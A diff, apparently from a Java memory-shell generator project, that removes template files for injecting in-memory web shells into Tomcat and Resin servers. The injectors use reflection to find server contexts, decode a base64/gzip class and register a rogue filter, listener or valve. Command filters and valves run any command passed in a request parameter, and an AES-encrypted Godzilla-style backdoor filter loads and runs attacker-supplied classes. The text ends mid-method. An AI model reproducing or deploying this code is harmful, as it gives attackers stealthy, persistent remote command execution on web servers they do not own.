||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private Object getValve(Object context) {
|
||||
Object valve = null;
|
||||
ClassLoader classLoader = context.getClass().getClassLoader();
|
||||
try {
|
||||
valve = classLoader.loadClass(getClassName()).newInstance();
|
||||
} catch (Exception e) {
|
||||
try {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
valve = clazz.newInstance();
|
||||
} catch (Exception e2) {
|
||||
e2.printStackTrace();
|
||||
}
|
||||
}
|
||||
return valve;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public boolean isInjected(Object context, String valveClassName) throws Exception {
|
||||
Object obj = invokeMethod(context, "getPipeline");
|
||||
Object[] valves = (Object[]) invokeMethod(obj, "getValves");
|
||||
List<Object> valvesList = Arrays.asList(valves);
|
||||
for (Object valve : valvesList) {
|
||||
if (valve.getClass().getName().contains(valveClassName)) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public void injectValve(Object context, Object valve) throws Exception {
|
||||
if (isInjected(context, valve.getClass().getName())) {
|
||||
System.out.println("valve already injected");
|
||||
return;
|
||||
}
|
||||
try {
|
||||
Class valveClass;
|
||||
String valveClassName = "org.apache.catalina.Valve";
|
||||
valveClass = context.getClass().getClassLoader().loadClass(valveClassName);
|
||||
Object obj = invokeMethod(context, "getPipeline");
|
||||
invokeMethod(obj, "addValve", new Class[]{valveClass}, new Object[]{valve});
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
public ClassLoader getCatalinaLoader() throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads");
|
||||
ClassLoader catalinaLoader = null;
|
||||
for (Thread thread : threads) {
|
||||
// 适配 v5 的 Class Loader 问题
|
||||
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
||||
catalinaLoader = thread.getContextClassLoader();
|
||||
break;
|
||||
}
|
||||
}
|
||||
return catalinaLoader;
|
||||
}
|
||||
}
|
||||
@@ -1,48 +0,0 @@
|
||||
package com.reajason.javaweb.memsell.resin.command;
|
||||
|
||||
import javax.servlet.*;
|
||||
import javax.servlet.http.HttpServletRequest;
|
||||
import javax.servlet.http.HttpServletResponse;
|
||||
import java.io.IOException;
|
||||
import java.io.InputStream;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/11/24
|
||||
*/
|
||||
public class CommandFilter implements Filter {
|
||||
public String paramName = "{{paramName}}";
|
||||
|
||||
@Override
|
||||
public void init(FilterConfig filterConfig) throws ServletException {
|
||||
|
||||
}
|
||||
|
||||
@Override
|
||||
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
|
||||
HttpServletRequest servletRequest = (HttpServletRequest) request;
|
||||
HttpServletResponse servletResponse = (HttpServletResponse) response;
|
||||
String cmd = servletRequest.getParameter(paramName);
|
||||
try {
|
||||
if (cmd != null) {
|
||||
Process exec = Runtime.getRuntime().exec(cmd);
|
||||
InputStream inputStream = exec.getInputStream();
|
||||
ServletOutputStream outputStream = servletResponse.getOutputStream();
|
||||
byte[] buf = new byte[8192];
|
||||
int length;
|
||||
while ((length = inputStream.read(buf)) != -1) {
|
||||
outputStream.write(buf, 0, length);
|
||||
}
|
||||
} else {
|
||||
chain.doFilter(servletRequest, servletResponse);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
chain.doFilter(servletRequest, servletResponse);
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public void destroy() {
|
||||
|
||||
}
|
||||
}
|
||||
-127
@@ -1,127 +0,0 @@
|
||||
package com.reajason.javaweb.memsell.resin.godzilla;
|
||||
|
||||
import javax.crypto.Cipher;
|
||||
import javax.crypto.spec.SecretKeySpec;
|
||||
import javax.servlet.*;
|
||||
import javax.servlet.http.HttpServletRequest;
|
||||
import javax.servlet.http.HttpServletResponse;
|
||||
import javax.servlet.http.HttpSession;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
*/
|
||||
public class GodzillaFilter extends ClassLoader implements Filter {
|
||||
public String key = "{{key}}";
|
||||
public String pass = "{{pass}}";
|
||||
public String md5 = "{{md5}}";
|
||||
public String headerName = "{{headerName}}";
|
||||
public String headerValue = "{{headerValue}}";
|
||||
|
||||
public GodzillaFilter() {
|
||||
}
|
||||
|
||||
public GodzillaFilter(ClassLoader z) {
|
||||
super(z);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static String base64Encode(byte[] bs) throws Exception {
|
||||
String value = null;
|
||||
Class<?> base64;
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64");
|
||||
Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Encoder");
|
||||
Object encoder = base64.newInstance();
|
||||
value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] base64Decode(String bs) {
|
||||
byte[] value = null;
|
||||
Class<?> base64;
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64");
|
||||
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||
Object decoder = base64.newInstance();
|
||||
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public Class<?> Q(byte[] cb) {
|
||||
return super.defineClass(cb, 0, cb.length);
|
||||
}
|
||||
|
||||
public byte[] x(byte[] s, boolean m) {
|
||||
try {
|
||||
|
||||
Cipher c = Cipher.getInstance("AES");
|
||||
c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
|
||||
return c.doFinal(s);
|
||||
} catch (Exception var4) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
@SuppressWarnings("all")
|
||||
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain chain) throws ServletException, IOException {
|
||||
HttpServletRequest request = (HttpServletRequest) servletRequest;
|
||||
HttpServletResponse response = (HttpServletResponse) servletResponse;
|
||||
try {
|
||||
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
|
||||
HttpSession session = request.getSession();
|
||||
byte[] data = base64Decode(request.getParameter(pass));
|
||||
data = this.x(data, false);
|
||||
if (session.getAttribute("payload") == null) {
|
||||
session.setAttribute("payload", (new GodzillaFilter(this.getClass().getClassLoader())).Q(data));
|
||||
} else {
|
||||
request.setAttribute("parameters", data);
|
||||
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
|
||||
Object f;
|
||||
try {
|
||||
f = ((Class<?>) session.getAttribute("payload")).newInstance();
|
||||
} catch (InstantiationException | IllegalAccessException e) {
|
||||
throw new RuntimeException(e);
|
||||
}
|
||||
f.equals(arrOut);
|
||||
f.equals(request);
|
||||
response.getWriter().write(md5.substring(0, 16));
|
||||
f.toString();
|
||||
response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true)));
|
||||
response.getWriter().write(md5.substring(16));
|
||||
}
|
||||
|
||||
} else {
|
||||
chain.doFilter(servletRequest, servletResponse);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
chain.doFilter(servletRequest, servletResponse);
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public void init(FilterConfig filterConfig) throws ServletException {
|
||||
}
|
||||
|
||||
@Override
|
||||
public void destroy() {
|
||||
}
|
||||
}
|
||||
-220
@@ -1,220 +0,0 @@
|
||||
package com.reajason.javaweb.memsell.resin.injector;
|
||||
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.InvocationTargetException;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.*;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
*/
|
||||
public class ResinFilterInjector {
|
||||
|
||||
static {
|
||||
new ResinFilterInjector();
|
||||
}
|
||||
|
||||
public ResinFilterInjector() {
|
||||
try {
|
||||
List<Object> contexts = getContext();
|
||||
for (Object context : contexts) {
|
||||
Object filter = getFilter(context);
|
||||
addFilter(context, filter);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||
Class<?> decoderClass;
|
||||
try {
|
||||
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||
} catch (Exception ignored) {
|
||||
decoderClass = Class.forName("java.util.Base64");
|
||||
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
}
|
||||
}
|
||||
|
||||
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
|
||||
GZIPInputStream ungzip = new GZIPInputStream(in);
|
||||
byte[] buffer = new byte[256];
|
||||
int n;
|
||||
while ((n = ungzip.read(buffer)) >= 0) {
|
||||
out.write(buffer, 0, n);
|
||||
}
|
||||
return out.toByteArray();
|
||||
}
|
||||
|
||||
static Object getFV(Object obj, String fieldName) throws Exception {
|
||||
Field field = getF(obj, fieldName);
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
}
|
||||
|
||||
static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != null) {
|
||||
try {
|
||||
Field field = clazz.getDeclaredField(fieldName);
|
||||
field.setAccessible(true);
|
||||
return field;
|
||||
} catch (NoSuchFieldException e) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException(fieldName);
|
||||
}
|
||||
|
||||
static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
|
||||
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
|
||||
}
|
||||
|
||||
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
|
||||
Method method = null;
|
||||
|
||||
Class tempClass = clazz;
|
||||
while (method == null && tempClass != null) {
|
||||
try {
|
||||
if (paramClazz == null) {
|
||||
// Get all declared methods of the class
|
||||
Method[] methods = tempClass.getDeclaredMethods();
|
||||
for (int i = 0; i < methods.length; i++) {
|
||||
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
|
||||
method = methods[i];
|
||||
break;
|
||||
}
|
||||
}
|
||||
} else {
|
||||
method = tempClass.getDeclaredMethod(methodName, paramClazz);
|
||||
}
|
||||
} catch (NoSuchMethodException e) {
|
||||
tempClass = tempClass.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (method == null) {
|
||||
throw new NoSuchMethodException(methodName);
|
||||
}
|
||||
method.setAccessible(true);
|
||||
if (obj instanceof Class) {
|
||||
try {
|
||||
return method.invoke(null, param);
|
||||
} catch (IllegalAccessException e) {
|
||||
throw new RuntimeException(e.getMessage());
|
||||
}
|
||||
} else {
|
||||
try {
|
||||
return method.invoke(obj, param);
|
||||
} catch (IllegalAccessException e) {
|
||||
throw new RuntimeException(e.getMessage());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public String getUrlPattern() {
|
||||
return "{{urlPattern}}";
|
||||
}
|
||||
|
||||
public String getClassName() {
|
||||
return "{{className}}";
|
||||
}
|
||||
|
||||
public String getBase64String() throws IOException {
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
private void addFilter(Object context, Object filter) throws Exception {
|
||||
String filterClassName = filter.getClass().getName();
|
||||
if (isInjected(context, filterClassName)) {
|
||||
System.out.println("filter already injected");
|
||||
return;
|
||||
}
|
||||
try {
|
||||
Class<?> filterMappingClass;
|
||||
try {
|
||||
filterMappingClass = Thread.currentThread().getContextClassLoader().loadClass("com.caucho.server.dispatch.FilterMapping");
|
||||
} catch (Exception e) {
|
||||
filterMappingClass = context.getClass().getClassLoader().loadClass("com.caucho.server.dispatch.FilterMapping");
|
||||
}
|
||||
Object filterMappingImpl = filterMappingClass.newInstance();
|
||||
invokeMethod(filterMappingImpl, "setFilterName", new Class[]{String.class}, new Object[]{filterClassName});
|
||||
invokeMethod(filterMappingImpl, "setFilterClass", new Class[]{String.class}, new Object[]{filterClassName});
|
||||
Object urlPattern = invokeMethod(filterMappingImpl, "createUrlPattern");
|
||||
invokeMethod(urlPattern, "addText", new Class[]{String.class}, new Object[]{getUrlPattern()});
|
||||
invokeMethod(urlPattern, "init");
|
||||
invokeMethod(context, "addFilterMapping", new Class[]{filterMappingClass}, new Object[]{filterMappingImpl});
|
||||
invokeMethod(context, "clearCache");
|
||||
System.out.println("filter injected");
|
||||
} catch (Throwable e) {
|
||||
System.out.println("filter inject failed");
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
public List<Object> getContext() {
|
||||
Set<Object> contexts = new HashSet<Object>();
|
||||
try {
|
||||
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]);
|
||||
for (Thread thread : threads) {
|
||||
Class<?> servletInvocationClass = null;
|
||||
try {
|
||||
servletInvocationClass = thread.getContextClassLoader().loadClass("com.caucho.server.dispatch.ServletInvocation");
|
||||
} catch (Exception e) {
|
||||
continue;
|
||||
}
|
||||
if (servletInvocationClass != null) {
|
||||
Object contextRequest = servletInvocationClass.getMethod("getContextRequest").invoke(null);
|
||||
Object webApp = invokeMethod(contextRequest, "getWebApp", new Class[0], new Object[0]);
|
||||
if (webApp != null) {
|
||||
contexts.add(webApp);
|
||||
}
|
||||
}
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
return Arrays.asList(contexts.toArray());
|
||||
}
|
||||
|
||||
private Object getFilter(Object context) {
|
||||
Object filter = null;
|
||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||
if (classLoader == null) {
|
||||
classLoader = context.getClass().getClassLoader();
|
||||
}
|
||||
try {
|
||||
filter = classLoader.loadClass(getClassName()).newInstance();
|
||||
} catch (Exception e) {
|
||||
try {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
filter = clazz.newInstance();
|
||||
} catch (Throwable tt) {
|
||||
}
|
||||
}
|
||||
return filter;
|
||||
}
|
||||
|
||||
public boolean isInjected(Object context, String evilClassName) throws Exception {
|
||||
Map<String, Object> filters = (Map) getFV(getFV(context, "_filterManager"), "_filters");
|
||||
for (String key : filters.keySet()) {
|
||||
if (key.contains(evilClassName)) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
}
|
||||
-194
@@ -1,194 +0,0 @@
|
||||
package com.reajason.javaweb.memsell.resin.injector;
|
||||
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.InvocationTargetException;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.*;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
*/
|
||||
public class ResinListenerInjector {
|
||||
static {
|
||||
new ResinListenerInjector();
|
||||
}
|
||||
|
||||
public ResinListenerInjector() {
|
||||
try {
|
||||
List<Object> contexts = getContext();
|
||||
for (Object context : contexts) {
|
||||
Object listener = getListener(context);
|
||||
injectListener(context, listener);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||
Class<?> decoderClass;
|
||||
try {
|
||||
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||
} catch (Exception ignored) {
|
||||
decoderClass = Class.forName("java.util.Base64");
|
||||
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
}
|
||||
}
|
||||
|
||||
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
|
||||
GZIPInputStream ungzip = new GZIPInputStream(in);
|
||||
byte[] buffer = new byte[256];
|
||||
int n;
|
||||
while ((n = ungzip.read(buffer)) >= 0) {
|
||||
out.write(buffer, 0, n);
|
||||
}
|
||||
return out.toByteArray();
|
||||
}
|
||||
|
||||
static Object getFV(Object obj, String fieldName) throws Exception {
|
||||
Field field = getF(obj, fieldName);
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
}
|
||||
|
||||
static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != null) {
|
||||
try {
|
||||
Field field = clazz.getDeclaredField(fieldName);
|
||||
field.setAccessible(true);
|
||||
return field;
|
||||
} catch (NoSuchFieldException e) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException(fieldName);
|
||||
}
|
||||
|
||||
static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
|
||||
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
|
||||
}
|
||||
|
||||
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
|
||||
Method method = null;
|
||||
|
||||
Class tempClass = clazz;
|
||||
while (method == null && tempClass != null) {
|
||||
try {
|
||||
if (paramClazz == null) {
|
||||
// Get all declared methods of the class
|
||||
Method[] methods = tempClass.getDeclaredMethods();
|
||||
for (int i = 0; i < methods.length; i++) {
|
||||
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
|
||||
method = methods[i];
|
||||
break;
|
||||
}
|
||||
}
|
||||
} else {
|
||||
method = tempClass.getDeclaredMethod(methodName, paramClazz);
|
||||
}
|
||||
} catch (NoSuchMethodException e) {
|
||||
tempClass = tempClass.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (method == null) {
|
||||
throw new NoSuchMethodException(methodName);
|
||||
}
|
||||
method.setAccessible(true);
|
||||
if (obj instanceof Class) {
|
||||
try {
|
||||
return method.invoke(null, param);
|
||||
} catch (IllegalAccessException e) {
|
||||
throw new RuntimeException(e.getMessage());
|
||||
}
|
||||
} else {
|
||||
try {
|
||||
return method.invoke(obj, param);
|
||||
} catch (IllegalAccessException e) {
|
||||
throw new RuntimeException(e.getMessage());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public String getClassName() {
|
||||
return "{{className}}";
|
||||
}
|
||||
|
||||
public String getBase64String() throws IOException {
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
private void injectListener(Object context, Object listener) throws Exception {
|
||||
if (!isInjected(context, listener.getClass().getName())) {
|
||||
invokeMethod(context, "addListenerObject", new Class[]{Object.class, boolean.class}, new Object[]{listener, true});
|
||||
// 清除缓存,否则某些 uri 无法连接
|
||||
invokeMethod(context, "clearCache");
|
||||
}
|
||||
}
|
||||
|
||||
public List<Object> getContext() {
|
||||
Set<Object> contexts = new HashSet<Object>();
|
||||
try {
|
||||
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]);
|
||||
for (Thread thread : threads) {
|
||||
Class<?> servletInvocationClass = null;
|
||||
try {
|
||||
servletInvocationClass = thread.getContextClassLoader().loadClass("com.caucho.server.dispatch.ServletInvocation");
|
||||
} catch (Exception e) {
|
||||
continue;
|
||||
}
|
||||
if (servletInvocationClass != null) {
|
||||
Object contextRequest = servletInvocationClass.getMethod("getContextRequest").invoke(null);
|
||||
Object webApp = invokeMethod(contextRequest, "getWebApp", new Class[0], new Object[0]);
|
||||
if (webApp != null) {
|
||||
contexts.add(webApp);
|
||||
}
|
||||
}
|
||||
}
|
||||
} catch (Exception e) {
|
||||
// Handle exception
|
||||
}
|
||||
return Arrays.asList(contexts.toArray());
|
||||
}
|
||||
|
||||
private Object getListener(Object context) {
|
||||
Object listener = null;
|
||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||
if (classLoader == null) {
|
||||
classLoader = context.getClass().getClassLoader();
|
||||
}
|
||||
try {
|
||||
listener = classLoader.loadClass(getClassName()).newInstance();
|
||||
} catch (Exception e) {
|
||||
try {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
listener = clazz.newInstance();
|
||||
} catch (Throwable tt) {
|
||||
}
|
||||
}
|
||||
return listener;
|
||||
}
|
||||
|
||||
public boolean isInjected(Object context, String evilClassName) throws Exception {
|
||||
List arrayList = (ArrayList) getFV(context, "_requestListeners");
|
||||
for (Object o : arrayList) {
|
||||
if (o.getClass().getName().contains(evilClassName)) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
}
|
||||
-48
@@ -1,48 +0,0 @@
|
||||
package com.reajason.javaweb.memsell.tomcat.command;
|
||||
|
||||
import javax.servlet.*;
|
||||
import javax.servlet.http.HttpServletRequest;
|
||||
import javax.servlet.http.HttpServletResponse;
|
||||
import java.io.IOException;
|
||||
import java.io.InputStream;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/11/24
|
||||
*/
|
||||
public class CommandFilter implements Filter {
|
||||
public String paramName = "{{paramName}}";
|
||||
|
||||
@Override
|
||||
public void init(FilterConfig filterConfig) throws ServletException {
|
||||
|
||||
}
|
||||
|
||||
@Override
|
||||
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
|
||||
HttpServletRequest servletRequest = (HttpServletRequest) request;
|
||||
HttpServletResponse servletResponse = (HttpServletResponse) response;
|
||||
String cmd = servletRequest.getParameter(paramName);
|
||||
try {
|
||||
if (cmd != null) {
|
||||
Process exec = Runtime.getRuntime().exec(cmd);
|
||||
InputStream inputStream = exec.getInputStream();
|
||||
ServletOutputStream outputStream = servletResponse.getOutputStream();
|
||||
byte[] buf = new byte[8192];
|
||||
int length;
|
||||
while ((length = inputStream.read(buf)) != -1) {
|
||||
outputStream.write(buf, 0, length);
|
||||
}
|
||||
} else {
|
||||
chain.doFilter(servletRequest, servletResponse);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
chain.doFilter(servletRequest, servletResponse);
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public void destroy() {
|
||||
|
||||
}
|
||||
}
|
||||
@@ -1,62 +0,0 @@
|
||||
package com.reajason.javaweb.memsell.tomcat.command;
|
||||
|
||||
import org.apache.catalina.Valve;
|
||||
import org.apache.catalina.connector.Request;
|
||||
import org.apache.catalina.connector.Response;
|
||||
|
||||
import javax.servlet.ServletException;
|
||||
import javax.servlet.ServletOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.InputStream;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
*/
|
||||
public class CommandValve implements Valve {
|
||||
public String paramName = "{{paramName}}";
|
||||
protected Valve next;
|
||||
protected boolean asyncSupported;
|
||||
|
||||
public CommandValve() {
|
||||
}
|
||||
|
||||
@Override
|
||||
public Valve getNext() {
|
||||
return this.next;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void setNext(Valve valve) {
|
||||
this.next = valve;
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean isAsyncSupported() {
|
||||
return this.asyncSupported;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void backgroundProcess() {
|
||||
}
|
||||
|
||||
@Override
|
||||
public void invoke(Request request, Response response) throws IOException, ServletException {
|
||||
try {
|
||||
String cmd = request.getParameter(paramName);
|
||||
if (cmd != null) {
|
||||
Process exec = Runtime.getRuntime().exec(cmd);
|
||||
InputStream inputStream = exec.getInputStream();
|
||||
ServletOutputStream outputStream = response.getOutputStream();
|
||||
byte[] buf = new byte[8192];
|
||||
int length;
|
||||
while ((length = inputStream.read(buf)) != -1) {
|
||||
outputStream.write(buf, 0, length);
|
||||
}
|
||||
} else {
|
||||
this.getNext().invoke(request, response);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
this.getNext().invoke(request, response);
|
||||
}
|
||||
}
|
||||
}
|
||||
-127
@@ -1,127 +0,0 @@
|
||||
package com.reajason.javaweb.memsell.tomcat.godzilla;
|
||||
|
||||
import javax.crypto.Cipher;
|
||||
import javax.crypto.spec.SecretKeySpec;
|
||||
import javax.servlet.*;
|
||||
import javax.servlet.http.HttpServletRequest;
|
||||
import javax.servlet.http.HttpServletResponse;
|
||||
import javax.servlet.http.HttpSession;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
*/
|
||||
public class GodzillaFilter extends ClassLoader implements Filter {
|
||||
public String key = "{{key}}";
|
||||
public String pass = "{{pass}}";
|
||||
public String md5 = "{{md5}}";
|
||||
public String headerName = "{{headerName}}";
|
||||
public String headerValue = "{{headerValue}}";
|
||||
|
||||
public GodzillaFilter() {
|
||||
}
|
||||
|
||||
public GodzillaFilter(ClassLoader z) {
|
||||
super(z);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static String base64Encode(byte[] bs) throws Exception {
|
||||
String value = null;
|
||||
Class<?> base64;
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64");
|
||||
Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Encoder");
|
||||
Object encoder = base64.newInstance();
|
||||
value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] base64Decode(String bs) {
|
||||
byte[] value = null;
|
||||
Class<?> base64;
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64");
|
||||
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||
Object decoder = base64.newInstance();
|
||||
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public Class<?> Q(byte[] cb) {
|
||||
return super.defineClass(cb, 0, cb.length);
|
||||
}
|
||||
|
||||
public byte[] x(byte[] s, boolean m) {
|
||||
try {
|
||||
|
||||
Cipher c = Cipher.getInstance("AES");
|
||||
c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
|
||||
return c.doFinal(s);
|
||||
} catch (Exception var4) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
@SuppressWarnings("all")
|
||||
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain chain) throws ServletException, IOException {
|
||||
